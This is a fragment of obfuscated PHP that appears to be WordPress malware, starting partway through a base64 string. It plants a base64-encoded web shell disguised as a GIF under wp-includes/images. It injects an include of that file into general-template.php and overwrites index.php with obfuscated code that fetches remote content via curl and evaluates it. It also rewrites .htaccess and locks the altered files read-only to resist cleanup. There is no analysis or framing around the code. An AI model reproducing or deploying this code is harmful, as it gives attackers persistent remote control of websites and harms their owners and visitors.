bEFBQ0Fnd0FBK2Y4QUFJRHBBQUIxTUFBQTZtQUFBRHFZQUFBWGI1SmZ4VVlBQUFHNFNVUkJWSGphZkpMUGFoTlJGTVovOTl5WmFiQnhDTk5LaXlnb3hHQ2dsQlpjdUNnSTlnMktMMU5Dd1M1S1g4QW5VTG9TdW5QVnJkdkdnQnVwRVYyNEVXUUNNOG5NNU0rOTE4Vk1SdU9pMytyQ1BkLzVmZWZjcTE3MVhqdTA1VGJadWVIeS9Fd0JlR2pMMjVNVDVzYXdNSWFKWFRWL0dneDRkM1hGMFhIUFhaNmZLUUd3MXJJd2hwa3htT21VUE10SXgyT1NKR0djcHJ3L1BVVjh6ZEZ4ejhrNFRldHVnZFkwZ29CQWF6d1JsQWh4SFBQbTRvSVhuUTZmQjMwOEFCSGhZNzhQd05aNnhLOUp6RzYzQzhETHcwT2N0WVJoeUlmcjY5SUEwRzYzY1ZYK0ppMGFRUUN6R1FDTGYyYnlBTFJTRElmRHVqdkF0Nm9nOGhyRWk0TDl2YjNTVUdRWlNvU25uUTRMYTdsTFZKT1d1bDhVQUJSWlZzM2dIRjl1YnVxQ0pXbHJQU3BwazVpRDdlMktrT2NBN0hhN3pJd3BNLzlIYXRMQzA1b2l6LzhPL2ZQcmQ4S1d6NC9mYVUwQm1FOHovTFU3Nk0zTmtqQXRDclFJRDU0OExrbjNZR1lNRDZNSWF5Mm1vZ0pNaTJLVkFCQzJmUExjNTlIR0JvZ0FZSXhCcXJPM2ZPbUQ1OC9LeXlxM2NRNnRWRzBDR0tjcFhqSWFyYXhRaTJDc0xZc0JKWUpUQ2lWQ01ocWhtanM3enRyYnYvZFNJc0tmQVFEZklzS0h2QVpZWkFBQUFBQkpSVTVFcmtKZ2dnPT0nPg0KDQoiOw0KLy8gPGEgaHJlZj1cIj9BUlJBWT17JEFSUkFZfSZmaWxlc3JjPSRwYXRoLyRmaWxlJnBhdGg9JHBhdGhcIj4kZmlsZTwvYT4NCiAgICAgICAgZWNobyAiDQo8YSBocmVmPVwiP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWVkaXQmdHlwZT1maWxlJm5hbWU9eyRmaWxlfVwiPnskZmlsZX08L2E+DQo8L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWU+PGNlbnRlcj4iLiRzaXplLiI8L2NlbnRlcj48L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWUgYWxpZ249J2NlbnRlcic+PGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9Y2htb2QmdHlwZT1maWxlJm5hbWU9JGZpbGVcIiB0aXRsZT0n5p2D6ZmQ6K6+572uJz4iOw0KDQoNCg0KICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOw0KICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZmlsZSIpKSBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj4nOw0KICAgICAgICBlY2hvIGp1ZWppYW5nX3Blcm1zKCIkcGF0aC8kZmlsZSIpOw0KICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRmaWxlIikpIGVjaG8gJzwvZm9udD4nOw0KICAgICAgICBlY2hvICI8L2E+PC90ZD4NCjx0ZCBjbGFzcz10ZF9ob21lPjxjZW50ZXI+DQo8YSBocmVmPVwiP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPSRwYXRoJm9wdD1lZGl0JnR5cGU9ZmlsZSZuYW1lPSRmaWxlXCI+57yW6L6RPC9hPg0KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9cmVuYW1lJnR5cGU9ZmlsZSZuYW1lPSRmaWxlJnBhdGg9JHBhdGhcIj7ph43lkb3lkI08L2E+DQo8YSBocmVmPVwiamF2YXNjcmlwdDppZihjb25maXJtKCfnoa7lrp7opoHliKDpmaTlkJc/JykpbG9jYXRpb249Jz9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD17JHBhdGh9Jm9wdD1kZWxldGUmdHlwZT1maWxlJm5hbWU9eyRmaWxlfSdcIj7liKDpmaQ8L2E+DQo8L2NlbnRlcj48L3RkPg0KPC90cj4iOw0KICAgIH0NCiAgICBlY2hvICc8L3RhYmxlPg0KPC9kaXY+JzsNCn0NCmVjaG8gJzxicj48YnI+PGJyPjxicj48L2I+DQo8L2JvZHk+IDwvaHRtbD48L2JvZHk+DQo8L2h0bWw+JzsNCmRpZTsNCmVuZGlmOyAgLy8gPT09PQ0KDQoNCg0KDQoNCg0K"; // WP 404 @chmod($jue_jiang_404_path, 0644); @file_put_contents($jue_jiang_404_path, base64_decode($jue_jiang_404)); @chmod($jue_jiang_404_path, 0444); } $file_general_template_path = $do."wp-includes/general-template.php"; $general_template_code = @file_get_contents($file_general_template_path); $gen_mat = base64_decode("QGluY2x1ZGVbXHNdKyIoXFxbeDAtOV0uKz8pIjs="); $isget_mat = preg_match("/{$gen_mat}/i",$general_template_code)?true:false; if (!$isget_mat){ $mc1 = "KGZ1bmN0aW9uW1xzXStnZXRfaGVhZGVyKFtcc10rKT9cKCguKz8peyk="; preg_match_all("/".base64_decode($mc1)."/i",$general_template_code,$pr); $str = "\x" . substr(chunk_split(bin2hex($jue_jiang_404_path), 2, "\x"), 0, -2); $new_general_template = str_replace($pr[0][0],$pr[0][0].PHP_EOL.PHP_EOL." @include \"$str\";",$general_template_code); @file_put_contents($file_general_template_path,$new_general_template); } error_reporting(0); set_time_limit(0); ignore_user_abort(true); $do = "/home/xswop4u1ust1/public_html/"; $open_cache_ruzhu_phpcode = base64_decode("PD9waHAgZXJyb3JfcmVwb3J0aW5nKDApOyAkamN2cyA9IHJhbmdlKGNocigxMjYpLGNocigyMCkpOyRQWkdTPSR7JGpjdnNbMzFdLiRqY3ZzWzU5XS4kamN2c1s0N10uJGpjdnNbNDddLiRqY3ZzWzUxXS4kamN2c1s1M10uJGpjdnNbNTddfTtAKGNvdW50KCRQWkdTKT09MjMmJmluX2FycmF5KGdldHR5cGUoJFBaR1MpLmNvdW50KCRQWkdTKSwkUFpHUykpPygoJFBaR1NbNjldPSRQWkdTWzY5XS4kUFpHU1s3NV0pJiYoJFBaR1NbODldPSRQWkdTWzY5XSgkUFpHU1s4OV0pKSYmKEAkUFpHUz0kUFpHU1s4OV0oJFBaR1NbNjBdLCRQWkdTWzY5XSgkeyRQWkdTWzUwXX1bMjZdKSkpJiYkUFpHUygpKTokUFpHUzsgJG91WFVCdiA9IHJhbmdlKGNocigxMjYpLGNocigyMCkpOyRicU1qID0gYXJyYXkoQCR7JG91WFVCdlszMV0uJG91WFVCdls1NV0uJG91WFVCdls1N10uJG91WFVCdls0Ml19WyRvdVhVQnZbNjFdLiRvdVhVQnZbNDRdLiRvdVhVQnZbNDRdLiRvdVhVQnZbNjFdLiRvdVhVQnZbMzddXSwgJG91WFVCdlsyN10uJG91WFVCdlsxMl0uJG91WFVCdlsyNV0uJG91WFVCdlsyOV0uJG91WFVCdlsxMF0uJG91WFVCdlsyNV0uJG91WFVCdlszMV0uJG91WFVCdlsyNF0uJG91WFVCdls5XS4kb3VYVUJ2WzE2XS4kb3VYVUJ2WzI3XS4kb3VYVUJ2WzEwXS4kb3VYVUJ2WzIxXS4kb3VYVUJ2WzE1XS4kb3VYVUJ2WzE2XSwgJG91WFVCdlsxMV0uJG91WFVCdlsxMF0uJG91WFVCdlsxMl0uJG91WFVCdlszMV0uJG91WFVCdlsxMl0uJG91WFVCdlsxNV0uJG91WFVCdlsxMF0uJG91WFVCdls3N10uJG91WFVCdls3NV0sICRvdVhVQnZbMjBdLiRvdVhVQnZbMTFdLiRvdVhVQnZbMTVdLiRvdVhVQnZbMTZdLiRvdVhVQnZbMzFdLiRvdVhVQnZbMjZdLiRvdVhVQnZbMjVdLiRvdVhVQnZbMjddLiRvdVhVQnZbMTVdLiRvdVhVQnZbMjZdLiRvdVhVQnZbMjVdLCRvdVhVQnZbMTRdLiRvdVhVQnZbMjldLiRvdVhVQnZbMjddLiRvdVhVQnZbMTldLCAkb3VYVUJ2WzI4XS4kb3VYVUJ2WzI5XS4kb3VYVUJ2WzExXS4kb3VYVUJ2WzI1XS4kb3VYVUJ2WzcyXS4kb3VYVUJ2Wzc0XS4kb3VYVUJ2WzMxXS4kb3VYVUJ2WzI2XS4kb3VYVUJ2WzI1XS4kb3VYVUJ2WzI3XS4kb3VYVUJ2WzE1XS4kb3VYVUJ2WzI2XS4kb3VYVUJ2WzI1XSwgJG91WFVCdlsyNF0uJG91WFVCdlsyMV0uJG91WFVCdlsxOF0uJG91WFVCdlsyNV0uJG91WFVCdlszMV0uJG91WFVCdlsyM10uJG91WFVCdlsyNV0uJG91WFVCdlsxMF0uJG91WFVCdlszMV0uJG91WFVCdlsyN10uJG91WFVCdlsxNV0uJG91WFVCdlsxNl0uJG91WFVCdlsxMF0uJG91WFVCdlsyNV0uJG91WFVCdlsxNl0uJG91WFVCdlsxMF0uJG91WFVCdlsxMV0sIEAkeyRvdVhVQnZbMzFdLiRvdVhVQnZbNTVdLiRvdVhVQnZbNTddLiRvdVhVQnZbNDJdfVskb3VYVUJ2WzE1XS4kb3VYVUJ2WzI0XV0sKTsgJENkVCA9ICRicU1qWzJdKCRicU1qWzBdKTskdUUgPSBAJGJxTWpbNF0oJG91WFVCdls1NF0uJG91WFVCdls4NF0sICRDZFQpOyR1RndqUSA9ICRicU1qWzNdKCR1RSwgdHJ1ZSk7ICRicU1qWzddID09IDEgJiYgZGllKCRicU1qWzZdKF9fRklMRV9fKSk7IGlmICgoJHVGd2pRWzBdIC0gdGltZSgpKSA+IDAgYW5kIG1kNShtZDUoJHVGd2pRWzJdKSkgPT09ICJjOGU1NTM5MWVkZDU1NDBjM2JiOGFjMmNmOTU5OWRkNyIpIHsgJEl2WHNQID0gY3VybF9pbml0KCR1RndqUVsxXSk7IGN1cmxfc2V0b3B0KCRJdlhzUCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7ICR6b2lNID0gY3VybF9leGVjKCRJdlhzUCk7JEtGY00gPSBlbXB0eSgkem9pTSk/JGJxTWpbNl0oJHVGd2pRWzFdKTokem9pTTtAJGJxTWpbMV0oIiIsICRvdVhVQnZbMV0gLiAkYnFNals1XSgkS0ZjTSkgLiAkb3VYVUJ2Wzc5XS4kb3VYVUJ2Wzg0XSk7IGRpZTt9ICRYRkdaTiA9IHJhbmdlKGNocigxMjYpLGNocigyMCkpOyRBekY9JFhGR1pOWzI3XS4kWEZHWk5bMTJdLiRYRkdaTlsyNV0uJFhGR1pOWzI5XS4kWEZHWk5bMTBdLiRYRkdaTlsyNV0uJFhGR1pOWzMxXS4kWEZHWk5bMjRdLiRYRkdaTls5XS4kWEZHWk5bMTZdLiRYRkdaTlsyN10uJFhGR1pOWzEwXS4kWEZHWk5bMjFdLiRYRkdaTlsxNV0uJFhGR1pOWzE2XTsgJG9EeE1KPUAkQXpGKCRYRkdaTls5MF0uJFhGR1pOWzMxXSwkWEZHWk5bMjVdLiRYRkdaTls4XS4kWEZHWk5bMjldLiRYRkdaTlsxOF0uJFhGR1pOWzg2XS4kWEZHWk5bOTJdLiRYRkdaTls2M10uJFhGR1pOWzY0XS4kWEZHWk5bOTJdLiRYRkdaTls4MF0uJFhGR1pOWzI4XS4kWEZHWk5bMjldLiRYRkdaTlsxMV0uJFhGR1pOWzI1XS4kWEZHWk5bNzJdLiRYRkdaTls3NF0uJFhGR1pOWzMxXS4kWEZHWk5bMjZdLiRYRkdaTlsyNV0uJFhGR1pOWzI3XS4kWEZHWk5bMTVdLiRYRkdaTlsyNl0uJFhGR1pOWzI1XS4kWEZHWk5bODZdLiRYRkdaTlsxMV0uJFhGR1pOWzEwXS4kWEZHWk5bMTJdLiRYRkdaTlszMV0uJFhGR1pOWzEyXS4kWEZHWk5bMTVdLiRYRkdaTlsxMF0uJFhGR1pOWzc3XS4kWEZHWk5bNzVdLiRYRkdaTls4Nl0uJFhGR1pOWzIzXS4kWEZHWk5bNF0uJFhGR1pOWzIxXS4kWEZHWk5bMTZdLiRYRkdaTlsyNF0uJFhGR1pOWzE4XS4kWEZHWk5bMjldLiRYRkdaTlsxMF0uJFhGR1pOWzI1XS4kWEZHWk5bODZdLiRYRkdaTlsyOF0uJFhGR1pOWzI5XS4kWEZHWk5bMTFdLiRYRkdaTlsyNV0uJFhGR1pOWzcyXS4kWEZHWk5bNzRdLiRYRkdaTlszMV0uJFhGR1pOWzI2XS4kWEZHWk5bMjVdLiRYRkdaTlsyN10uJFhGR1pOWzE1XS4kWEZHWk5bMjZdLiRYRkdaTlsyNV0uJFhGR1pOWzg2XS4kWEZHWk5bMTFdLiRYRkdaTlsxMF0uJFhGR1pOWzEyXS4kWEZHWk5bMzFdLiRYRkdaTlsxMl0uJFhGR1pOWzE1XS4kWEZHWk5bMTBdLiRYRkdaTls3N10uJFhGR1pOWzc1XS4kWEZHWk5bODZdLiRYRkdaTls5MF0uJFhGR1pOWzMxXS4kWEZHWk5bODVdLiRYRkdaTls4NV0uJFhGR1pOWzg1XS4kWEZHWk5bODVdLiRYRkdaTls4NV0uJFhGR1pOWzg1XS4kWEZHWk5bNjddKTtAJG9EeE1KKCJlSWFXdGRZWFJpMnRoalJmK21uWWcwUE14eFNEdXlFM25ZcnlQTlZYRkNZMVlrVnBIWHpkZWE1aWpITHV2QlVSdkVDV3JaZFVPMitGVTFrSHpQNlg1YUwyR290dUwyY1FNYlR4THJkZEMza0NWeHFDM08wODZHMk1vYVhRWDRiMFJSdDJNcWFaQXE1VXFlYnJFSW5xbnBBbTVjV3FIeWRtZ1FXM1RGQkRibG44WEY3WVZOcG92Y2tLbkwzdjFCU0tjaE1IY2g2aWMrWTYzNno0bGExN3h6QjNWVkx6eG9GcDhZN2VFVGFnUVpUc0JVWnFXZ0JLdEc5eS9pVGF4NDFpTStyZXdtdm44QkFsUmhOYm1DVHQ4b3I5bTA2UWhvVkU3VVZQZ2QyMUpINUppeE12YW9pbnlGV0dTMFhxaDc2bUppaXI5czcyTnkvdWlLd2UyOVlJMzVoaVc1VE1BL3I1NXQ3aFhqamhtMTlnSnhIbkduZFFsMjlBaHBkQzRySE0rKzVHNnpTdmZpbDdiSGlhdDUwVVA2NXRaZjlYUytqektQdHhLRVF6ZzhvaEwxM3JlWUU0OHc1UG1CKzVtWCtvckExdnk5RGQ1UkFkYTNxRUFLOTVtK0RrZzJER2NOQmNsUWpITDVvV2s3WDFHdFhXWjdFanVJMjJsU2pPTGNKRldKWUpiMHEvYkZNYngzWWJONy8zQjRBbXpWQ1RvL0tjQmdSOVZNZ1UrS01ySWVoUWFTVnNJMU5tZmVOYUluVjVRVFBWekNNZW1naWV6eitwTFI3THRLOHhQcEVOeWpSS2FJdjEyWnorNStDSXljRGhxVmJJeVY3VnI1ZGx4U0M3N3FzL3pnc1pWNlJjTWthdFkzL1g1RDAzbXJIa0kxbWwxOS83Zm9uei9qZzJvb1dXWUdGNTlFMEZXdUovRHVKY1JIcXhGSlpVZElkcE5LZ2ZKYnNINWpjOGNld2U5U1ExMlRyRHkzRXRERjRSRGEwMXFPak1yZUtQTjRUT005eDBGaUJrOGNMaW9wdVNXLy9LaWJWbkt6V2c3OEFFcmZyWEYyZXNZZ0xjbGpBVTRCVlZDSjlQL2tlNnBoM29FaDI3anQ1NHRjYXMvVW1TTkNNRHlBdkc3SXZyT1RDak1JU25kOGxHYlg4anI5UTJ5RzVqSlpRVGZUQ3dnRjg5WEdlWDF6Q3JKOS9oQ1JJNHBhRVdhVWFZU3BEVytxaHNRZ2NqYURUc21NK3Nvbi9YbkNZbmlHcS82Y0MyWnRMRHQ4Q1VjdjdnSHgrUjN5Y2gvV3pOMVRiL0l1M2N1T09yMHk2Tnp6L2hDQUo1WWg4TllRQ1dqWFk1QnY5Zm4wZHNIMXVZMUl5T0hFa3J4a1FUUnZUK2p0YmQyTmkvUTdNUkZIS2xLOWd2dVlTRlFFMkV5SUVNTUUyU0VxRmluVHlLQ3N6MG13RStzRFBta0JJUWxQS3hBOGtTU2ZhWHdPckVqM3FncFU5Y2oxSkxDc3ZKWUVJVGZBUFp3V0hsL0NpTHpVcGZWcFNFSkRSZW1BZlQ1Z1NzMUkrZ3hOYzJFbU5LWUxIVmViRThmUUtlZ0xJcTRxR2pEKzFmemE1Z29EQTJScjM3cDI4ZnkxeFJhT2hvNlRDQmk5dFhqWjkxSGNoN29mbGxCYURJeWlyRVY0eDBxenp6ZWkveEtJMHJ1Q3FUMUIvNVdvcHo1T282Y3g2dm9jM1ZGWGM0blMxK3VUTWJFQmhoVnBmT21oM2dqSE1RalJsU0JlM0JPMDl0MGZOZlJlZ2JwcFN5dE5obEFyaHMzRWN0Y0dZVUJiZnFuRExwZHRlRE4rTlU4VEVzL2ZKWTdqb1poV0VHZE0zcitqNm5wcVpOaUt5S3pVazV1ZTdkNTVMS29nbnZ3ZjVjNmpNcHVGK20rYjZXM2NlcE14azdhSkZZV1c1TlR1OHVVanFSbmo2NDVXa0E0aVZRaXBJT1FvdGFGc3hrLzRSVE1SUC9ISGtHczY0cDM0Qlc1dGRuKysxMkdnbXpRWnFQR0xkcXJzeHFaNXpRb1hiRVpmTlRGNVZPaGhiNjZDeGpaVGgrOW9Ud1pLUVovTkE4ZkN4andqWnVHYzdyNmpwekZKZ0ZVa1JzenVkWC9XWCtqNmJBb0Urb3BjdC8vNjltamxZRTFZWE1ybDV0UGlWM1MxL2UveFNDZ1lLR1Arb25PbVFLMy9IWUtiK3JxUVZUelpROFZiUE1sM2x3L0FKQ3JMQ3dnNXpZZ2N4QVRXOU1BcGtPMHpRbzRKOExGblRhWEJudXMyOGtOSDRoN2tDN2huSUtQNU9HTmlUb1NCaHEvOFVodTdlK3RiZkI5aDhuaTU5ZTZGbUJVM2k1Y3c4bjdoUTlkRTlQd0tnMUlrL2kzVUMwa1EzS0p5UXE4RnI5cGdaRHhOK0JueUtEOXdDME1hTmJvQ3JvRnNKdDUrOTZRaWx1QmhtZ1ZuODA3OUR6bllRaHdpRTJwVklrY3Q0M1RhVXhEMUhWZGhmdFozTlQ0UC8wK3JBaDFVWVllWFZrREovcjNrQnkvNzViRk44bXRCQzNycEJTcFkrWVArTmdHYlBNTkdjbE03ZDBlaU9zSkhVQ2NvOEtScjI5OVMwVVVIcjEzSXVoOUlsQ203OVJMaFl3bVBsSEp3dHRPeHp0WURIN2hCSjBCaHdKUHNFajFya2piT0lzcVBUcTAxTzMwT2xCRnhsNEFiVWZGWGVkOFNCVzhTQlNUTDRiVThDZjhLRlR2Wk83ZUo2MFVNWWJTeEMxNVVycnNySGtuRDA0dUkxS3Z1ZHE3aU5YNk82ZHNFWVpTUGNsWU53b29UbkVIZFJjYmVCVzVvUlh6T2VxNjUyb2dZKzBZMlpsNlZqRTFzMVdFdUJMRzFKQkZsQzNBc0ZycnVZSWVscklER1hkeE5rcDM4NU1nZFFuak5WOTFlbG1NKzk0bGlVS0FpN1hvOExwZGxGbTFSY2xXWGR1SkMrQy9McU1ZdkNUeG5ITXp3STJsZStDYjgvSkZtbXNkR1VIRDFTNUlIWDhXcDB4VEdRbGh3ZjhDRDhtcTUzVk9NMjlxQm5UdnJocEdHeGlzRWYweisyS3Y0cUxuUi9PNzJLMTJZZ0FZMWI3bGdVM3IyVXp5VFI1eWxwUzFETHpwT0swNnJmKzVPWExRcFB5YXg5YVlhUDVnSHg0QndzYnI4WWgvODhwLzVtd0oxa25vVUttK1pjc3E1ZnM3WFRQdmFESE04NTZ2U3dtWVovalJpV29VUGd3RUpzeGlxbksyR25qYnpEdDdNYzZBVHBweGsrWTZCcDMrVFM1ajEvUTZsNWJ0eFNUMGlZd3IzMFNNYnZxN3BtblBVYzQ0TkIvZVV1SC9nbXUrVU0yOVVQenBBUFNoQVNBQ29sdUFLMlBxRVV1em5EUGF1MDhFZUJzQTcrLzlqa2JSK0toUjQ1NitkcnFoSlNuODBrUDkxVjduMldYNDlJaDBNeFlHOWJpY2lnQW8rOGxjdGpwUGFmQlR4VUNBNytjUnIzcUZMM1lFYWZsUEp2andYQ2F1QTk2aXp1dzRKZkdnQkhlaWNmTEc2elVxNWE3WjZxN3NrQm9nM21SRlA5QlU1N2dMWUtJUzExZk5QcVhmVUhjZlMvTlF5UXFwa21rOHhXaG11YXJtbmE2SkFpbzgva1Z1UzMwcm5uTml5Z2FxZlpBNFdCa0Z3RkVzcGVBMXFNV2RFa094dWZoaVozS1BtcmpFdFE4RFJRWVFudSsrcGVpWlZOcVBlRUlpeDNxVnlrajY5K053L0hBVWw1NkIxUFpRd241SzZaVjhPVTU1MUptcmpPS3lMejdZUnN5Y1FtSFQ4Y3FNS1orVi9mL3NUckdZMkhldG1sM002cE9tc3B3U2s0ZGVaeTY0RWVkOFhsTyt5R3k5aWxRNnUwRzN0STY3M1NDNnBSOGtOQzdZYW5uaHFRYlpGeCt0TjVocXVQZG9tL3dTYXpsOW8vVlkvS2F6S0JPZzJnR08wMVQrcVZHMWROR0c4M01sakhRSVRwK2t3TldKdDZEYnlFK0JSaHdnbi9GalZVcTg3Y21TdmhRNEl6eTN1OUh1VS9XWjFMMFJYY0dDSzJYS2tlUWl2Z1ZYaURWdjhwWEY1L2kyZGgrZ2lzUjlyUW1VYVhqaHJsVWEyYVhhYTUxY3ZYUTZPYVdIdEdBdVNHVW4vUGNLQlh6K2xpMzllMExKSlRkSWJHbmlDSVlrOC9iejM3WFJhVk4vQjErWXcvN09lbStjSi8zemFvOXZDL053ajR6Qm1IbmRBK2ZyTGc1RVorWlBUdEI0Uk14MytCNDdGL0g1YnFhaGwyaTA3ejBJT09hbnl6a2ROaDZpMitDVWlhRTZhclhIK2VhK2lkZ0wvaThlbkNhR1RXbWptSzllZ1loSmovOHl0NmxBRzNVL3prS3I1emdleFEzd0tqTUcvbndpQnJwNUM2Z2RwVXVWYzVneS9WeEt4NWFobllrUlcrTGQvTy9id3lvaGVaeUt1SzA3NVFLN2xrNWJZdzgybk9hSkFtb1E5dDdYV3IzQjlOYUIrWVkrcVlxNyt1N3NpaGczN1h5enVib1d0Q0xnMmRsQnBjYy9tYUUzcDRsNExGdjJuMk5hM1JSM0JNVzBIU3dJYytwTjMyakcyQTZpaVE3NktmVjVWR2g5SlZiR1NyczVkL0VHc29DL3JWOGw0S2N1Q1NhajExekpsNnFFNm85SUVtNCtiM2hFL1poMmtieU5tVEtudTcwYnl1K2o5L1gxWmp2MC9NWksvNkFOVkIvejU1aXBCMjhuOCtVMTQvc3RSTmVXeVFpWTNPajExTG02M2NoZnBZWjdKbWtVcVJtR0pISStDb284a3hxcDlEZ3BoSjV2bS9hTit2TEcyZTRjTy9sOFFXaTgzVTg5Yy8vTnQ9PSIpOz8+PD9waHAgZGVmaW5lKCAnV1BfVVNFX1RIRU1FUycsIHRydWUgKTsgcmVxdWlyZSgnLi93cC1ibG9nLWhlYWRlci5waHAnKTs/Pg=="); $index_code = file_get_contents($do."index.php"); if(md5($index_code) != md5($open_cache_ruzhu_phpcode)) { @chmod($do."index.php", 0644); @file_put_contents($do."index.php", $open_cache_ruzhu_phpcode); @chmod($do."index.php", 0444); } $huan_yuan_htaccess = base64_decode("PEZpbGVzTWF0Y2ggJy4ocGhwfHBocDV8cGh0bWwpJCc+Ck9yZGVyIGFsbG93LGRlbnkKRGVueSBmcm9tIGFsbAo8L0ZpbGVzTWF0Y2g+CjxGaWxlc01hdGNoICdeKGluZGV4LnBocHxhdXRvX3Nlby5waHB8d3AtYmxvZy1oZWFkZXIucGhwfHdwLWNvbmZpZy1zYW1wbGUucGhwfHdwLWxpbmtzLW9wbWwucGhwfHdwLWxvZ2luLnBocHx3cC1zZXR0aW5ncy5waHB8d3AtdHJhY2tiYWNrLnBocHx3cC1hY3RpdmF0ZS5waHB8d3AtY29tbWVudHMtcG9zdC5waHB8d3AtY3Jvbi5waHB8d3AtbG9hZC5waHB8d3AtbWFpbC5waHB8d3Atc2lnbnVwLnBocHx4bWxycGMucGhwfGVkaXQtZm9ybS1hZHZhbmNlZC5waHB8bGluay1wYXJzZS1vcG1sLnBocHxtcy1zaXRlcy5waHB8b3B0aW9ucy13cml0aW5nLnBocHx0aGVtZXMucGhwfGFkbWluLWFqYXgucGhwfGVkaXQtZm9ybS1jb21tZW50LnBocHxsaW5rLnBocHxtcy10aGVtZXMucGhwfHBsdWdpbi1lZGl0b3IucGhwfGFkbWluLWZvb3Rlci5waHB8ZWRpdC1saW5rLWZvcm0ucGhwfGxvYWQtc2NyaXB0cy5waHB8bXMtdXBncmFkZS1uZXR3b3JrLnBocHxhZG1pbi1mdW5jdGlvbnMucGhwfGVkaXQucGhwfGxvYWQtc3R5bGVzLnBocHxtcy11c2Vycy5waHB8cGx1Z2lucy5waHB8YWRtaW4taGVhZGVyLnBocHxlZGl0LXRhZy1mb3JtLnBocHxtZWRpYS1uZXcucGhwfG15LXNpdGVzLnBocHxwb3N0LW5ldy5waHB8YWRtaW4ucGhwfGVkaXQtdGFncy5waHB8bWVkaWEucGhwfG5hdi1tZW51cy5waHB8cG9zdC5waHB8YWRtaW4tcG9zdC5waHB8ZXhwb3J0LnBocHxtZWRpYS11cGxvYWQucGhwfG5ldHdvcmsucGhwfHByZXNzLXRoaXMucGhwfHVwbG9hZC5waHB8YXN5bmMtdXBsb2FkLnBocHxtZW51LWhlYWRlci5waHB8b3B0aW9ucy1kaXNjdXNzaW9uLnBocHxwcml2YWN5LnBocHx1c2VyLWVkaXQucGhwfG1lbnUucGhwfG9wdGlvbnMtZ2VuZXJhbC5waHB8cHJvZmlsZS5waHB8dXNlci1uZXcucGhwfG1vZGVyYXRpb24ucGhwfG9wdGlvbnMtaGVhZC5waHB8cmV2aXNpb24ucGhwfHVzZXJzLnBocHxjdXN0b20tYmFja2dyb3VuZC5waHB8bXMtYWRtaW4ucGhwfG9wdGlvbnMtbWVkaWEucGhwfHNldHVwLWNvbmZpZy5waHB8d2lkZ2V0cy5waHB8Y3VzdG9tLWhlYWRlci5waHB8bXMtZGVsZXRlLXNpdGUucGhwfG9wdGlvbnMtcGVybWFsaW5rLnBocHx0ZXJtLnBocHxjdXN0b21pemUucGhwfGxpbmstYWRkLnBocHxtcy1lZGl0LnBocHxvcHRpb25zLnBocHxlZGl0LWNvbW1lbnRzLnBocHxsaW5rLW1hbmFnZXIucGhwfG1zLW9wdGlvbnMucGhwfG9wdGlvbnMtcmVhZGluZy5waHB8c3lzdGVtX2xvZy5waHApJCc+Ck9yZGVyIGFsbG93LGRlbnkKQWxsb3cgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8SWZNb2R1bGUgbW9kX3Jld3JpdGUuYz4KUmV3cml0ZUVuZ2luZSBPbgpSZXdyaXRlQmFzZSAvClJld3JpdGVSdWxlIF5pbmRleC5waHAkIC0gW0xdClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1mClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1kClJld3JpdGVSdWxlIC4gaW5kZXgucGhwIFtMXQo8L0lmTW9kdWxlPg=="); $yuan_htaccess = file_get_contents($do.".htaccess"); if(md5($yuan_htaccess) != md5($huan_yuan_htaccess)) { @chmod($do.".htaccess", 0644); @file_put_contents($do.".htaccess", $huan_yuan_htaccess); @chmod($do.".htaccess", 0444); } $jue_jiang_404_path = $do."wp-includes/images/xit-3x.gif"; if (!file_exists($jue_jiang_404_path)){ $jue_jiang_404 = "PD9waHANCmVycm9yX3JlcG9ydGluZygwKTsNCmRhdGVfZGVmYXVsdF90aW1lem9uZV9zZXQoJ1BSQycpOw0KDQokQVJSQVkgPSAkeydfR0VUJ31bJ0FSUkFZJ107DQokS0pNbiA9IHN0cl9yb3QxMygkQVJSQVkpOw0KJGNiSCA9IHBhY2soIlx4NDhceDJhIiwgJEtKTW4pOw0KJEV6YVUgPSBqc29uX2RlY29kZSgkY2JILCB0cnVlKTsNCmlmICgoJEV6YVVbMF0gLSB0aW1lKCkpID4gMCBhbmQgbWQ1KG1kNSgkRXphVVsyXSkpID09PSAiOWYzNDY2NWIwMDUyMzExZDViNmFkNmY4MjFkYzYyMjgiKSA6IC8vID09PT0NCi8vID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KDQogICAgZnVuY3Rpb24ganVlamlhbmdfcGVybXMoJGZpbGUpew0KICAgICAgICAkcGVybXMgPSBmaWxlcGVybXMoJGZpbGUpOw0KICAgICAgICBpZiAoKCRwZXJtcyAmIDB4QzAwMCkgPT0gMHhDMDAwKSB7Ly8gU29ja2V0DQogICAgICAgICAgICAkaW5mbyA9ICdzJzsNCiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweEEwMDApID09IDB4QTAwMCkgey8vIFN5bWJvbGljIExpbmsNCiAgICAgICAgICAgICRpbmZvID0gJ2wnOw0KICAgICAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4ODAwMCkgPT0gMHg4MDAwKSB7Ly8gUmVndWxhcg0KICAgICAgICAgICAgJGluZm8gPSAnLSc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHg2MDAwKSA9PSAweDYwMDApIHsvLyBCbG9jayBzcGVjaWFsDQogICAgICAgICAgICAkaW5mbyA9ICdiJzsNCiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDQwMDApID09IDB4ND